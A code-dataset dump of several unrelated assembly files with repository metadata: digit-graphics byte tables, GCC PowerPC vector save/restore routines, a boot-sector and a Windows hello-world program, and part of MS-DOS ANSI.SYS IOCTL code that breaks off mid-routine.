byte %00100110
byte %00110110
byte %00110110
byte %00010110
byte %00110110
byte %00110110
byte %00110110
; 10
byte %00110100
byte %00110100
byte %00110100
byte %00110100
byte %00110100
byte %00100100
byte %00100100
byte %00100100
byte %00100100
byte %00100100
byte %00110100
byte %00100100
byte %00110100
byte %00010100
byte %00110100
byte %00110100
byte %00100100
byte %00110100
byte %00100100
byte %00110100
byte %00110100
byte %00110100
byte %00110100
byte %00100100
byte %00100100
byte %00110100
byte %00010100
byte %00110100
byte %00100100
byte %00110100
byte %00110100
byte %00010100
byte %00110100
byte %00110100
byte %00110100
; 20
byte %00110110
byte %00110100
byte %00110110
byte %00110010
byte %00110110
byte %00100110
byte %00100100
byte %00100110
byte %00100010
byte %00100110
byte %00110110
byte %00100100
byte %00110110
byte %00010010
byte %00110110
byte %00110110
byte %00100100
byte %00110110
byte %00100010
byte %00110110
byte %00110110
byte %00110100
byte %00110110
byte %00100010
byte %00100110
byte %00110110
byte %00010100
byte %00110110
byte %00100010
byte %00110110
byte %00110110
byte %00010100
byte %00110110
byte %00110010
byte %00110110
; 30
byte %00110110
byte %00110100
byte %00110110
byte %00110100
byte %00110110
byte %00100110
byte %00100100
byte %00100110
byte %00100100
byte %00100110
byte %00110110
byte %00100100
byte %00110110
byte %00010100
byte %00110110
byte %00110110
byte %00100100
byte %00110110
byte %00100100
byte %00110110
byte %00110110
byte %00110100
byte %00110110
byte %00100100
byte %00100110
byte %00110110
byte %00010100
byte %00110110
byte %00100100
byte %00110110
byte %00110110
byte %00010100
byte %00110110
byte %00110100
byte %00110110
; 40
byte %00110110
byte %00110110
byte %00110110
byte %00110100
byte %00110100
byte %00100110
byte %00100110
byte %00100110
byte %00100100
byte %00100100
byte %00110110
byte %00100110
byte %00110110
byte %00010100
byte %00110100
byte %00110110
byte %00100110
byte %00110110
byte %00100100
byte %00110100
byte %00110110
byte %00110110
byte %00110110
byte %00100100
byte %00100100
byte %00110110
byte %00010110
byte %00110110
byte %00100100
byte %00110100
byte %00110110
byte %00010110
byte %00110110
byte %00110100
byte %00110100
; 50
byte %00110110
byte %00110010
byte %00110110
byte %00110100
byte %00110110
byte %00100110
byte %00100010
byte %00100110
byte %00100100
byte %00100110
byte %00110110
byte %00100010
byte %00110110
byte %00010100
byte %00110110
byte %00110110
byte %00100010
byte %00110110
byte %00100100
byte %00110110
byte %00110110
byte %00110010
byte %00110110
byte %00100100
byte %00100110
byte %00110110
byte %00010010
byte %00110110
byte %00100100
byte %00110110
byte %00110110
byte %00010010
byte %00110110
byte %00110100
byte %00110110
; 60
byte %00110110
byte %00110010
byte %00110110
byte %00110110
byte %00110110
byte %00100110
byte %00100010
byte %00100110
byte %00100110
byte %00100110
byte %00110110
byte %00100010
byte %00110110
byte %00010110
byte %00110110
byte %00110110
byte %00100010
byte %00110110
byte %00100110
byte %00110110
byte %00110110
byte %00110010
byte %00110110
byte %00100110
byte %00100110
byte %00110110
byte %00010010
byte %00110110
byte %00100110
byte %00110110
byte %00110110
byte %00010010
byte %00110110
byte %00110110
byte %00110110
align 256
pfDigits3
; 00
byte %00001100
byte %00001100
byte %00001100
byte %00001100
byte %00001110
byte %00001000
byte %00001000
byte %00001000
byte %00001000
byte %00001010
byte %00001100
byte %00001000
byte %00001100
byte %00000100
byte %00001110
byte %00001100
byte %00001000
byte %00001100
byte %00001000
byte %00001110
byte %00001100
byte %00001100
byte %00001100
byte %00001000
byte %00001010
byte %00001100
byte %00000100
byte %00001100
byte %00001000
byte %00001110
byte %00001100
byte %00000100
byte %00001100
byte %00001100
byte %00001110
grpDigits1
; 00
byte %00000000
byte %01001000
byte %00000000
byte %00000000
byte %01001000
byte %00001000
byte %00000000
byte %01000000
byte %00000000
byte %00001000
byte %01000000
byte %00001000
byte %00000000
byte %01001000
byte %00001000
byte %00000000
byte %01000000
byte %00001000
; 10
byte %00000000
byte %01001000
byte %01000000
byte %00000000
byte %01001000
byte %01001000
byte %00000000
byte %01000000
byte %01000000
byte %00001000
byte %01000000
byte %01001000
byte %00000000
byte %01001000
byte %01001000
byte %00000000
byte %01000000
byte %01001000
; 20
byte %00000000
byte %00001000
byte %00000000
byte %00000000
byte %00001000
byte %00001000
byte %00000000
byte %00000000
byte %00000000
byte %00001000
byte %00000000
byte %00001000
byte %00000000
byte %00001000
byte %00001000
byte %00000000
byte %00000000
byte %00001000
; 30
byte %01000000
byte %00001000
byte %01000000
byte %01000000
byte %00001000
byte %01001000
byte %01000000
byte %00000000
byte %01000000
byte %01001000
byte %00000000
byte %01001000
byte %01000000
byte %00001000
byte %01001000
byte %01000000
byte %00000000
byte %01001000
; 40
byte %00000000
byte %01001000
byte %01000000
byte %00000000
byte %01001000
byte %01001000
byte %00000000
byte %01000000
byte %01000000
byte %00001000
byte %01000000
byte %01001000
byte %00000000
byte %01001000
byte %01001000
byte %00000000
byte %01000000
byte %01001000
; 50
byte %00000000
byte %00001000
byte %01000000
byte %00000000
byte %00001000
byte %01001000
byte %00000000
byte %00000000
byte %01000000
byte %00001000
byte %00000000
byte %01001000
byte %00000000
byte %00001000
byte %01001000
byte %00000000
byte %00000000
byte %01001000
grpDigits2
; 00
byte %00000000
byte %00000011
byte %00000000
byte %00000000
byte %00000011
byte %00000010
byte %00000000
byte %00000001
byte %00000000
byte %00000010
byte %00000001
byte %00000010
byte %00000000
byte %00000011
byte %00000010
byte %00000000
byte %00000001
byte %00000010
; 10
byte %00000000
byte %00000011
byte %00000001
byte %00000000
byte %00000011
byte %00000011
byte %00000000
byte %00000001
byte %00000001
byte %00000010
byte %00000001
byte %00000011
byte %00000000
byte %00000011
byte %00000011
byte %00000000
byte %00000001
byte %00000011
; 20
byte %00000000
byte %00000010
byte %00000000
byte %00000000
byte %00000010
byte %00000010
byte %00000000
byte %00000000
byte %00000000
byte %00000010
byte %00000000
byte %00000010
byte %00000000
byte %00000010
byte %00000010
byte %00000000
byte %00000000
byte %00000010
; 30
byte %00000001
byte %00000010
byte %00000001
byte %00000001
byte %00000010
byte %00000011
byte %00000001
byte %00000000
byte %00000001
byte %00000011
byte %00000000
byte %00000011
byte %00000001
byte %00000010
byte %00000011
byte %00000001
byte %00000000
byte %00000011
; 40
byte %00000000
byte %00000011
byte %00000001
byte %00000000
byte %00000011
byte %00000011
byte %00000000
byte %00000001
byte %00000001
byte %00000010
byte %00000001
byte %00000011
byte %00000000
byte %00000011
byte %00000011
byte %00000000
byte %00000001
byte %00000011
; 50
byte %00000000
byte %00000010
byte %00000001
byte %00000000
byte %00000010
byte %00000011
byte %00000000
byte %00000000
byte %00000001
byte %00000010
byte %00000000
byte %00000011
byte %00000000
byte %00000010
byte %00000011
byte %00000000
byte %00000000
byte %00000011
grpDigits3
; 00
byte %00000000
byte %00000001
byte %00000000
byte %00000000
byte %00000001
byte %00000001
byte %00000000
byte %00000000
byte %00000000
byte %00000001
byte %00000000
byte %00000001
byte %00000000
byte %00000001
byte %00000001
byte %00000000
byte %00000000
byte %00000001
| 12.445759
| 15
| 0.732567
|
0a46be20c89e1feaf793ec4b48d73fa7b016b3c0
| 3,297
|
asm
|
Assembly
|
binutils-2.21.1/gcc-4.5.1/gcc/config/rs6000/darwin-vecsave.asm
|
cberner12/xv6
|
53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845
|
[
"MIT-0"
] | 51
|
2015-01-31T01:51:39.000Z
|
2022-02-18T02:01:50.000Z
|
binutils-2.21.1/gcc-4.5.1/gcc/config/rs6000/darwin-vecsave.asm
|
cberner12/xv6
|
53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845
|
[
"MIT-0"
] | 7
|
2017-05-29T09:29:00.000Z
|
2019-03-11T16:01:39.000Z
|
binutils-2.21.1/gcc-4.5.1/gcc/config/rs6000/darwin-vecsave.asm
|
cberner12/xv6
|
53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845
|
[
"MIT-0"
] | 12
|
2015-03-26T08:05:38.000Z
|
2022-02-18T02:01:51.000Z
|
/* This file contains the vector save and restore routines.
*
* Copyright (C) 2004, 2009 Free Software Foundation, Inc.
*
* This file is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 3, or (at your option) any
* later version.
*
* This file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Under Section 7 of GPL version 3, you are granted additional
* permissions described in the GCC Runtime Library Exception, version
* 3.1, as published by the Free Software Foundation.
*
* You should have received a copy of the GNU General Public License and
* a copy of the GCC Runtime Library Exception along with this program;
* see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
* <http://www.gnu.org/licenses/>.
*/
/* Vector save/restore routines for Darwin. Note that each vector
save/restore requires 2 instructions (8 bytes.)
THE SAVE AND RESTORE ROUTINES CAN HAVE ONLY ONE GLOBALLY VISIBLE
ENTRY POINT - callers have to jump to "saveFP+60" to save f29..f31,
for example. For FP reg saves/restores, it takes one instruction
(4 bytes) to do the operation; for Vector regs, 2 instructions are
required (8 bytes.). */
.machine ppc7400
.text
.align 2
.private_extern saveVEC
saveVEC:
li r11,-192
stvx v20,r11,r0
li r11,-176
stvx v21,r11,r0
li r11,-160
stvx v22,r11,r0
li r11,-144
stvx v23,r11,r0
li r11,-128
stvx v24,r11,r0
li r11,-112
stvx v25,r11,r0
li r11,-96
stvx v26,r11,r0
li r11,-80
stvx v27,r11,r0
li r11,-64
stvx v28,r11,r0
li r11,-48
stvx v29,r11,r0
li r11,-32
stvx v30,r11,r0
li r11,-16
stvx v31,r11,r0
blr
.private_extern restVEC
restVEC:
li r11,-192
lvx v20,r11,r0
li r11,-176
lvx v21,r11,r0
li r11,-160
lvx v22,r11,r0
li r11,-144
lvx v23,r11,r0
li r11,-128
lvx v24,r11,r0
li r11,-112
lvx v25,r11,r0
li r11,-96
lvx v26,r11,r0
li r11,-80
lvx v27,r11,r0
li r11,-64
lvx v28,r11,r0
li r11,-48
lvx v29,r11,r0
li r11,-32
lvx v30,r11,r0
li r11,-16
lvx v31,r11,r0
blr
/* saveVEC_vr11 -- as saveVEC but VRsave is returned in R11. */
.private_extern saveVEC_vr11
saveVEC_vr11:
li r11,-192
stvx v20,r11,r0
li r11,-176
stvx v21,r11,r0
li r11,-160
stvx v22,r11,r0
li r11,-144
stvx v23,r11,r0
li r11,-128
stvx v24,r11,r0
li r11,-112
stvx v25,r11,r0
li r11,-96
stvx v26,r11,r0
li r11,-80
stvx v27,r11,r0
li r11,-64
stvx v28,r11,r0
li r11,-48
stvx v29,r11,r0
li r11,-32
stvx v30,r11,r0
li r11,-16
stvx v31,r11,r0
mfspr r11,VRsave
blr
/* As restVec, but the original VRsave value passed in R10. */
.private_extern restVEC_vr10
restVEC_vr10:
li r11,-192
lvx v20,r11,r0
li r11,-176
lvx v21,r11,r0
li r11,-160
lvx v22,r11,r0
li r11,-144
lvx v23,r11,r0
li r11,-128
lvx v24,r11,r0
li r11,-112
lvx v25,r11,r0
li r11,-96
lvx v26,r11,r0
li r11,-80
lvx v27,r11,r0
li r11,-64
lvx v28,r11,r0
li r11,-48
lvx v29,r11,r0
li r11,-32
lvx v30,r11,r0
li r11,-16
lvx v31,r11,r0
/* restore VRsave from R10. */
mtspr VRsave,r10
blr
| 21.134615
| 72
| 0.70367
|
afb0ad633ea3a45dcaa14e1c9aba060ac2004905
| 396
|
asm
|
Assembly
|
005.BootSectorFuncStrings/main.asm
|
mukeshmike9/AssemblyBootSector
|
e58028454f2cd8c8cccf5644b723d76bbdc49958
|
[
"MIT"
] | 1
|
2020-04-26T03:47:10.000Z
|
2020-04-26T03:47:10.000Z
|
005.BootSectorFuncStrings/main.asm
|
mukeshmike9/AssemblyBootSector
|
e58028454f2cd8c8cccf5644b723d76bbdc49958
|
[
"MIT"
] | null | null | null |
005.BootSectorFuncStrings/main.asm
|
mukeshmike9/AssemblyBootSector
|
e58028454f2cd8c8cccf5644b723d76bbdc49958
|
[
"MIT"
] | null | null | null |
[org 0x7c00]
mov bx, OS_NAME
call print
call print_nl
mov bx, AUTHOR_NAME
call print
call print_nl
mov dx, 0x12fe
call print_hex
call print_nl
jmp $
; Subroutines inclusion
%include "boot_sect_print.asm"
%include "boot_sect_print_hex.asm"
; Data Segment
OS_NAME:
db 'TindaOS', 0
AUTHOR_NAME:
db 'Mukesh Chaurasiya', 0
; Padding and magic number
times 510 - ($ - $$) db 0
dw 0xAA55
| 11
| 34
| 0.732323
|
28a9e67736ebcd8ed4d4e502e1ac7314fd8021cc
| 667
|
asm
|
Assembly
|
research/01/helloworld.asm
|
NNNIC/psgg-nasm-sample
|
dfe5454f73ae3b9d86756548f5dffbedc1a03808
|
[
"MIT"
] | null | null | null |
research/01/helloworld.asm
|
NNNIC/psgg-nasm-sample
|
dfe5454f73ae3b9d86756548f5dffbedc1a03808
|
[
"MIT"
] | null | null | null |
research/01/helloworld.asm
|
NNNIC/psgg-nasm-sample
|
dfe5454f73ae3b9d86756548f5dffbedc1a03808
|
[
"MIT"
] | null | null | null |
global _main
extern _GetStdHandle@4
extern _WriteFile@20
extern _ExitProcess@4
section .text
_main:
; DWORD bytes;
; <- prepare local variable
mov ebp, esp
sub esp, 4
; hStdOut = GetStdHandle(STD_OUTPUT_HANDLE)
; (STD_OUTPUT_HANDLE = -11)
push -11
call _GetStdHandle@4
mov ebx, eax
; WriteFile( hStdOut, msg, length(msg), &size, 0)
push 0
lea eax, [ebp - 4]
push eax
push (message_end - message)
push message
push ebx
call _WriteFile@20
; ExitProcess(0)
push 0
call _ExitProcess@4
; never here
hlt
message:
db 'Hello, World', 10
message_end:
| 16.675
| 51
| 0.610195
|
95e70b8e02fcc194f358a709aedcd3647cd1424f
| 28,288
|
asm
|
Assembly
|
dev/ansi/ioctl.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dev/ansi/ioctl.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dev/ansi/ioctl.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
PAGE ,132
TITLE ANSI Generic IOCTL Code
;******************************************************************************
; Change Log:
; Date Who # Description
; -------- --- --- ------------------------------------------------------
; 06/29/90 MKS C04 Bug#1150. Video 7 Fastwrite VGA has problems if a
; Hercules mono board is the active display.
;******************************************************************************
;****************** START OF SPECIFICATIONS **************************
; MODULE NAME: IOCTL.ASM
; DESCRIPTIVE NAME: PERFORM THE GENERIC IOCTL CALL IN ANSI.SYS
; FUNCTION: THE GENERIC DEVICE IOCTL IS USED TO SET AND GET THE
; MODE OF THE DISPLAY DEVICE ACCORDING TO PARAMETERS PASSED
; IN A BUFFER. ADDITIONALLY, THE CALL CAN TOGGLE THE
; USE OF THE INTENSITY BIT, AND CAN LOAD THE 8X8 CHARACTER
; SET, EFFECTIVELY GIVING MORE LINES PER SCREEN. THE
; AVAILABILITY OF THIS FUNCTION VARIES STRONGLY WITH HARDWARE
; ATTACHED.
; ENTRY POINT: GENERIC_IOCTL
; INPUT: LOCATION OF REQUEST PACKET STORED DURING STRATEGY CALL.
; AT EXIT:
; NORMAL: CARRY CLEAR - DEVICE CHARACTERISTICS SET
; ERROR: CARRY SET - ERROR CODE IN AX.
; AX = 1 - INVALID FUNCTION. EXTENDED ERROR = 20
; AX = 10 - UNSUPPORTED FUNCTION ON CURRENT HARDWARE.
; EXTENDED ERROR = 29
; AX = 12 - DISPLAY.SYS DOES NOT HAVE 8X8 RAM CHARACTER SET.
; EXTENDED ERROR = 31
; INTERNAL REFERENCES:
; ROUTINES: GET_IOCTL - PERFORMS THE GET DEVICE CHARACTERISTICS
; SET_IOCTL - PERFORMS THE SET DEVICE CHARACTERISTICS
; GET_SEARCH - SEARCHES THE INTERNAL VIDEO TABLE FOR THE
; CURRENT MODE MATCH
; SET_SEARCH - SEARCHES THE INTERNAL VIDEO TABEL FOR THE
; CURRENT MODE MATCH
; SET_CURSOR_EMUL - SETS THE BIT THAT CONTROLS CURSOR EMULATION
; INT10_COM - INTERRUPT 10H HANDLER TO KEEP CURRENT SCREEN SIZE
; INT2F_COM - INTERRUPT 2FH INTERFACE TO GENERIC IOCTL
; MAP_DOWN - PERFORMS CURSOR TYPE MAPPING FOR EGA WITH MONOCHROME
; SET_VIDEO_MODE - SETS THE VIDEO MODE
; DATA AREAS: SCAN_LINE_TABLE - HOLDS SCAN LINE INFORMATION FOR PS/2
; FUNC_INFO - BUFFER FOR PS/2 FUNCTIONALITY CALL.
; EXTERNAL REFERENCES:
; ROUTINES: INT 10H SERVICES
; DATA AREAS: VIDEO_MODE_TABLE - INTERNAL TABLE FOR CHARACTERISTICS TO MODE
; MATCH-UPS
; NOTES:
; REVISION HISTORY:
; Label: "DOS ANSI.SYS Device Driver"
; "Version 4.00 (C) Copyright 1988 Microsoft"
; "Licensed Material - Program Property of Microsoft"
;****************** END OF SPECIFICATIONS ****************************
;Modification history *********************************************************
; P1350 Codepage switching not working on EGA 10/10/87 J.K.
; P1626 ANSI does not allow lines=43 with PS2,Monochrome 10/15/87 J.K.
; p1774 Lines=43 after selecting cp 850 does not work 10/20/87 J.K.
; p1740 MODE CON LINES command causes problem with PE2 w PS/210/24/87 J.K.
; p2167 Does'nt say EGA in medium resol. cannot do 43 lines 10/30/87 J.K.
; p2236 After esc [=0h, issuing INT10h,AH=fh returns mode=1. 11/3/87 J.K.
; p2305 With ANSI loaded, loading RDTE hangs the system 11/06/87 J.K.
; P2617 Order dependecy problem with Display.sys 11/23/87 J.K.
; p2716 HOT key of VITTORIA does not work properly 12/03/87 J.K.
; d398 /L option for Enforcing the number of lines 12/17/87 J.K.
; D425 For OS2 compatibiltiy box, /L option status query 01/14/88 J.K.
; P5699 Moving selecting alternate print screen routine to only when it
; 10/26/88 is needed. OEM EGA cards don't support the call it, so they
; K. Sayers couldn't (shift) print screen at all when the alt. routine was
; invoked during initialization.
;******************************************************************************
INCLUDE DEVSYM.INC
INCLUDE ANSI.INC
INCLUDE MULT.INC
PUBLIC GENERIC_IOCTL
PUBLIC SET_IOCTL
PUBLIC GET_IOCTL
PUBLIC SET_SEARCH
PUBLIC GET_SEARCH
PUBLIC SET_CURSOR_EMUL
PUBLIC FUNC_INFO
PUBLIC MAX_SCANS
PUBLIC INT10_COM
PUBLIC SET_MODE_HANDLER
PUBLIC SET_CURSOR_HANDLER
PUBLIC ROM_INT10
PUBLIC INT2F_COM
PUBLIC INT2F_HANDLER
PUBLIC ROM_INT2F
PUBLIC ABORT
PUBLIC MAP_DOWN
PUBLIC SET_VIDEO_MODE
PUBLIC REQ_TXT_LENGTH
PUBLIC GRAPHICS_FLAG
PUBLIC DO_ROWS
PUBLIC Display_Loaded_Before_Me
CODE SEGMENT PUBLIC BYTE
ASSUME CS:CODE,DS:CODE
EXTRN PTRSAV:DWORD
EXTRN NO_OPERATION:NEAR
EXTRN ERR1:NEAR
EXTRN VIDEO_MODE_TABLE:BYTE
EXTRN MAX_VIDEO_TAB_NUM:ABS
EXTRN HDWR_FLAG:WORD
EXTRN SCAN_LINES:BYTE
EXTRN SWITCH_L:Byte ;Defined in ANSI.ASM
IFDEF JAPAN
EXTRN row_adj:byte
ENDIF
SCAN_LINE_TABLE LABEL BYTE
SCAN_LINE_STR <200,000000001B,0> ; 200 scan lines
SCAN_LINE_STR <344,000000010B,1> ; 350 scan lines
SCAN_LINE_STR <400,000000100B,2> ; 400 scan lines
SCANS_AVAILABLE EQU ($ - SCAN_LINE_TABLE)/TYPE SCAN_LINE_STR
;This is used when ANSI calls Get_IOCTL, Set_IOCTL by itself.
In_Generic_IOCTL_flag db 0
I_AM_IN_NOW EQU 00000001b
SET_MODE_BY_DISPLAY EQU 00000010b ;Display.sys calls Set mode INT 10h.
CALLED_BY_INT10COM EQU 00000100b ;To prevent from calling set mode int 10h again.
INT10_V_Mode db 0ffh ;Used by INT10_COM
My_IOCTL_Req_Packet REQ_PCKT <0,0,0Eh,0,?,0,?,?,?,?,?>
FUNC_INFO INFO_BLOCK <> ;data block for functionality call
ROM_INT10 DW ? ;segment and offset of original..
DW ? ;interrupt 10h vector.
ROM_INT2F DW ? ;segment and offset of original..
DW ? ;interrupt 2Fh vector.
INTENSITY_FLAG DW OFF ;intensity flag initially off
REQ_TXT_LENGTH DW DEFAULT_LENGTH ;requested text screen length
SCAN_DESIRED DB 0 ;scan lines desired
MAX_SCANS DB 0 ;maximum scan line setting
GRAPHICS_FLAG DB TEXT_MODE ;flag for graphics mode
Display_Loaded_Before_Me db 0 ;flag
ANSI_SetMode_Call_Flag db 0 ;Ansi is issuing INT10,AH=0.
ALT_PRT_SC_INVOKED DB FALSE ;indicates that have already set up alternat print screen routine
; PROCEDURE_NAME: GENERIC_IOCTL
; FUNCTION:
; TO GET OR SET DEVICE CHARACTERISTICS ACCORDING TO THE BUFFER PASSED
; IN THE REQUEST PACKET.
; AT ENTRY:
; AT EXIT:
; NORMAL: CARRY CLEAR - DEVICE CHARACTERISTICS SET
; ERROR: CARRY SET - ERROR CODE IN AL. (SEE MODULE DESCRIPTION ABOVE).
; NOTE: THIS PROC IS PERFORMED AS A JMP AS WITH THE OLD ANSI CALLS.
GENERIC_IOCTL:
les bx,[PTRSAV] ; establish addressability to request header
mov al,es:[bx].MINORFUNCTION
les di,es:[bx].GENERICIOCTL_PACKET ; point to request packet
cmp al,GET_FUNC ; is this get subfunction?
jnz gi_not_get
call GET_IOCTL ; yes...execute routine
jmp short gi_check_error
gi_not_get:
cmp al,SET_FUNC ; is this the set subfunction?
jnz gi_none
call SET_IOCTL ; yes....execute routine
gi_check_error:
jnc gi_done ; branch if no error
or ax,CMD_ERROR ; yes...set error bit in status
gi_done:
or ax,DONE ; add done bit to status
jmp ERR1 ; return with status in ax
gi_none:
jmp NO_OPERATION ; call lower CON device
; PROCEDURE_NAME: GET_IOCTL
; FUNCTION:
; THIS PROCEDURE RETURNS DEVICE CHARACTERISTICS.
; AT ENTRY: ES:DI POINTS TO REQUEST BUFFER
; AT EXIT:
; NORMAL: CARRY CLEAR - REQUEST BUFFER CONTAINS DEVICE CHARACTERISTICS
; ERROR: CARRY SET - ERROR CONDITION IN AX
GET_IOCTL PROC NEAR
cmp es:[di].INFO_LEVEL,0 ; check for valid info level
jnz gi_invalid
cmp es:[di].DATA_LENGTH,TYPE MODE_TABLE+1 ; and buffer size
jge gi_valid
gi_invalid:
mov ax,INVALID_FUNC ; not valid...unsupported
stc ; function..set error flag and
ret
gi_valid:
mov es:[di].INFO_LEVEL+1,0 ; set reserved byte to 0.
mov ah,REQ_VID_MODE ; request current video mode
int 10H
and al,VIDEO_MASK
lea si,VIDEO_MODE_TABLE ; point to resident video table
call GET_SEARCH ; perform search
jnc gi_supported ; found?
mov ax,NOT_SUPPORTED ; no....load unsupported function
ret ; carry already set
gi_supported:
push di ;Save Request Buffer pointer
mov WORD PTR es:[di].DATA_LENGTH,(TYPE MODE_TABLE)+1 ;length of data is struc size
inc si ; skip mode value
add di,RP_FLAGS ; point to flag word
; VGA,MCGA: VALUE RETURNED FROM FUNCTIONALITY CALL
; EGA: VALUE LAST SET THROUGH IOCTL. DEFAULT IS BLINKING.
; CGA,MONO: BLINKING
cmp al,7 ; M004; Monochrome screen?
mov ax,OFF ; assume CGA,MONO
; (we always have blink).
jz gi_flags_done ; M004;
cmp HDWR_FLAG,MCGA_ACTIVE ; if we have an EGA or better
jl gi_flags_done
test HDWR_FLAG,VGA_ACTIVE ; VGA supported?
jz gi_as_intensity_flag
push es ; yes...prepare for
push di ; functionality call
push ds
pop es
lea di,FUNC_INFO ; point to data block
mov ah,FUNC_CALL ; load function number
xor bx,bx ; implementation type 0
int 10H
mov INTENSITY_FLAG,OFF ; assume no intensity
test es:[di].MISC_INFO,INT_BIT ; is blink bit set?
jnz gi_intensity_is_fine ; if not no intensity
inc INTENSITY_FLAG ; we want intensity
gi_intensity_is_fine:
pop di ; restore registers
pop es
gi_as_intensity_flag:
mov ax,INTENSITY_FLAG ; write the control flag..
gi_flags_done:
stosw ; write the control flag..
; point to next field (display)
mov cx,(TYPE MODE_TABLE)-1 ; load count
rep movsb ; transfer data from video table
; to request packet
sub si,TYPE MODE_TABLE ; point back to start of mode data
ifdef JAPAN
dec di ; point to number of rows
dec di
ENDIF
cmp [si].D_MODE,TEXT_MODE ; if we are in text mode and
jnz gi_row_counted
cmp [si].SCR_ROWS,DEFAULT_LENGTH ; length <> 25 then we have an EGA or VGA
jz gi_row_counted
ifndef JAPAN
dec di ; point back to length entry in req packet
dec di
ENDIF
push ds
mov ax,ROM_BIOS ; load ROM BIOS data area segment
mov ds,ax
mov al,BYTE PTR ds:[NUM_ROWS] ; load current number of rows
cbw
inc ax ; add 1 to row count
mov WORD PTR es:[di],ax ; and copy to request packet
pop ds
gi_row_counted:
ifdef JAPAN
mov al,row_adj
xor ah,ah
sub es:[di],ax ; support ESC[>1l
ENDIF
xor ax,ax ; no errors
clc ; clear error flag
pop di ; Restore Request Buffer pointer
ret ; return to calling module
GET_IOCTL ENDP
; PROCEDURE_NAME: SET_IOCTL
; FUNCTION:
; THIS PROCEDURE SETS THE VIDEO MODE AND CHARACTER SET ACCORDING
; TO THE CHARACTERSTICS PROVIDED.
; AT ENTRY:
; ES:[DI] POINTS TO REQUEST BUFFER
; AT EXIT:
; NORMAL: CLEAR CARRY - VIDEO MODE SET
; ERROR: CARRY SET - ERROR CONDITION IN AX
SET_IOCTL PROC NEAR
or In_Generic_IOCTL_Flag, I_AM_IN_NOW ; Signal GENERIC_IOCTL request being processed
push REQ_TXT_LENGTH ; save old value in case of error
cmp es:[di].INFO_LEVEL,0 ; check for valid info level
jnz si_invalid
cmp es:[di].DATA_LENGTH,TYPE MODE_TABLE+1 ; ane buffer size
jnz si_invalid
mov ax,es:[di].RP_FLAGS ; test for invalid flags
test ax,INVALID_FLAGS
jnz si_invalid
test es:[di].RP_FLAGS,ON ; if intensity is requested and..
jz si_valid
cmp HDWR_FLAG,MCGA_ACTIVE ; hardware does not support it
jge si_valid
si_invalid:
mov ax,INVALID_FUNC ; not valid...unsupported..
jmp si_failed
si_valid:
call SET_SEARCH ; search table for match
jnc si_mode_valid
si_not_supp:
jmp si_not_supported
si_mode_valid:
cmp [si].D_MODE,TEXT_MODE ; is a text mode being requested?
jz si_do_text_mode
call SET_VIDEO_MODE
jmp si_end_ok
si_do_text_mode:
mov ax,es:[di].RP_ROWS ; save new requested value.
mov REQ_TXT_LENGTH,ax
cmp ax,DEFAULT_LENGTH ; is it just 25 lines needed?
jz si_display_ok
mov ax,DISPLAY_CHECK
int 2FH
cmp al,INSTALLED ; or is DISPLAY.SYS not there?
jnz si_display_ok
mov ax,CHECK_FOR_FONT
int 2FH ; or if it is does it have the..
jnc si_display_ok
mov ax,NOT_AVAILABLE ; DISPLAY.SYS does not have the font
jmp si_failed
si_display_ok:
cmp [si].SCR_ROWS,UNOCCUPIED
jz si_is_vga
test HDWR_FLAG,VGA_ACTIVE
jz si_non_vga
si_is_vga:
mov ax,1A00h ;Get currently active adap.;C04
int 10h ;VGA interrupt ;C04
mov ax,REQ_TXT_LENGTH ; restore AX
cmp bl,7 ;Q: non_vga adapter? ;C04
jb si_non_vga ;Yes so do other stuff ;C04
process_vga:
mov cl,3 ; ax loaded with length requested
shl ax,cl ; mulitply by 8 to get scan lines
lea bx,SCAN_LINE_TABLE ; load bx with scan line table start
mov cx,SCANS_AVAILABLE ; total number of scan lines settings
pv_while:
cmp ax,[bx].NUM_LINES ; pointing at the right setting?
jz pv_found
add bx,TYPE SCAN_LINE_STR ; not this setting..point to next
loop pv_while
jmp short si_not_supp
pv_found:
mov dl,[bx].REP_1BH
test SCAN_LINES,dl ; does the hardware have it?
jz si_not_supp
mov cl,[bx].REP_12H ; yes, store value to set it
mov SCAN_DESIRED,cl
cmp REQ_TXT_LENGTH,DEFAULT_LENGTH ; 25 lines requested?
jnz pv_scan_ok
mov al,MAX_SCANS ; desired scan setting should be..
mov SCAN_DESIRED,AL ; the maximum.
pv_scan_ok:
; following added to overcome problems with rolling
; screens in QBX and WZMAIL. Problem still exists when switching between
; mono and VGA screens when ANSI is loaded with /L.
test In_Generic_IOCTL_Flag,CALLED_BY_INT10COM
jnz si_set_mode_done
mov ah,ALT_SELECT ; set the appropriate number..
mov bl,SELECT_SCAN ; of scan lines..
mov al,SCAN_DESIRED
int 10H
jmp short si_processed
si_non_vga:
mov ax,REQ_TXT_LENGTH
cmp ax,DEFAULT_LENGTH ; see if length requested..
jz si_cursor_emul ; is valid
cmp ax,[si].SCR_ROWS
jnz si_not_supported
si_cursor_emul:
call SET_CURSOR_EMUL
si_processed:
call SET_VIDEO_MODE
si_set_mode_done:
call DO_ROWS
cmp ALT_PRT_SC_INVOKED,FALSE ; If not set up already
jnz si_printscreen_ok
cmp es:[di].RP_ROWS,DEFAULT_LENGTH ; and needed because lines (or 30?)
jle si_printscreen_ok
cmp HDWR_FLAG,MCGA_ACTIVE ; and if we have EGA or better then.. (supported)
jl si_printscreen_ok
mov ah,ALT_SELECT ; issue select alternate print..
mov BL,ALT_PRT_SC ; screen routine call..
int 10H
mov ALT_PRT_SC_INVOKED,TRUE ; mark that it was done
si_printscreen_ok:
call SET_CURSOR_EMUL ; yes..ensure cursor emulation
; is set accordingly.
cmp HDWR_FLAG,MCGA_ACTIVE ; for the EGA and better...
jl si_end_ok
cmp [si].V_MODE,7 ; M004; and not monochrome
jz si_end_ok
xor bx,bx ; bx: 1=intensity on, 0: off
; assume off
